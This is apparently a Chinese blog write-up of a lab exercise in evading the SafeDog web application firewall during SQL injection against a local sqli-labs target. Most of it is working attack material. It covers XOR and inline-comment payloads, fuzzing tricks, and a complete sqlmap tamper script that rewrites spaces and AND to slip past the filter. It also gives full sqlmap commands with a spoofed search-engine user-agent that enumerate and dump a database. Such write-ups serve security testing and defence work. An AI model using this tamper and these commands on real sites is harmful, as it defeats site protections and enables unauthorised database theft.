5行tamper bypass safedog
0x01 准备了safedog,sqli靶场
最新的safedog ,2020-12-07号下载的。
虚拟机仅主机模式下没有注册,但也还能用。将就一下。
0x02 xor绕过
首先测试语句and 1=1 / or 1=1 被拦截。
xor 1=1--+没有被拦截可以判断注入。
0x03 mysql空字符+内联注释绕过
mysql空字符:%20,%0b,%09,%0a,%0c,%0d,%a0
内联注释:/*!*/
0x04 union select绕过
safedog把union select咬的死,用BurpSuite Fuzz一波
一般跑下内联注释里的'数字'就可以了
随便跑一下就几百个能用的
0x05 tamper编写与调试
定义一个tamper函数,这是Sqlmap规定的。
里面的参数payload也是固定的,用来接收sqlmap传进来的payload。
变量retVal也是固定的。return把处理过的payload返回给调用它的地方。
这里用个最简单字符串替换函数replace()
把payload的空格替换成/*!19944*/%23%0A
把写好的tamper放到sqlmap的tamper目录下
额,效果好像不太明显。。。
这里说明一下,有WAF的必须指定User-Agent,否则有特征直接被拦。看情况还要加请求延迟,降低请求速度。
sqlmap -u "http://10.254.1.101/sqli/Less-1/?id=1" --user-agent="Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)" --delay=0.5 --tamper=safedog --technique=U --dbs
需要指定注入方法才有效果。。。勉强跑出库名。
现截个payload等下可以做对比,毕竟库名跑出来了
库名跑出来了直接跑列名,不出所料,跑不出来。
看下payload,拖出来对比测试。
经过观察测试,是这个and被狗咬的死死的。问题不大,Fuzz一波就过去了。
这里还是原来的思路把and替换成/*!XXXXXand*/。直接上BP,又有N个能bypass的
挑一个再写到tamper里,这会的tamper已经成长到5行了。
""">> > tamper('SELECT id FROM users')
'SELECT/*!19944*/%23%0Aid/*!19944*/%23%0AFROM/*!19944*/%23%0Ausers'
"""
def tamper(payload,**kwargs):
retVal = payload
retVal = retVal.replace(' ','/*!19944*/%23%0A')
retVal = retVal.replace('AND','/*!11441and*/')
return retVal
跑个列名一点问题没有
sqlmap -u "http://10.254.1.101/sqli/Less-1/?id=1" --user-agent="Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)" --delay=0.5 --tamper=safedog --technique=U -D security --columns -v3
这会应该可以完美Bypass了。删除缓存,重头来一遍。
直接跑出来有联合注入,布尔盲注,时间盲注。
sqlmap -u "http://10.254.1.101/sqli/Less-1/?id=1" --user-agent="Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)" --delay=0.5 --tamper=safedog
跑库名,没问题
跑表名也没有问题。。。
sqlmap -u "http://10.254.1.101/sqli/Less-1/?id=1" --user-agent="Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)" --delay=0.5 --tamper=safedog -Dsecurity --tables
dump数据也没有问题,跟没狗一样的感觉。。。
sqlmap -u "http://10.254.1.101/sqli/Less-1/?id=1" --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)" --delay=0.5 --tamper=safedog -D security -T users --dump
0x06 总结
其实不用跟着sqlmap原有的脚本进行修改,弄清楚来龙去脉,原理就是加工payload再return回去。
后面想写个自动fuzz的脚本(也许吧)。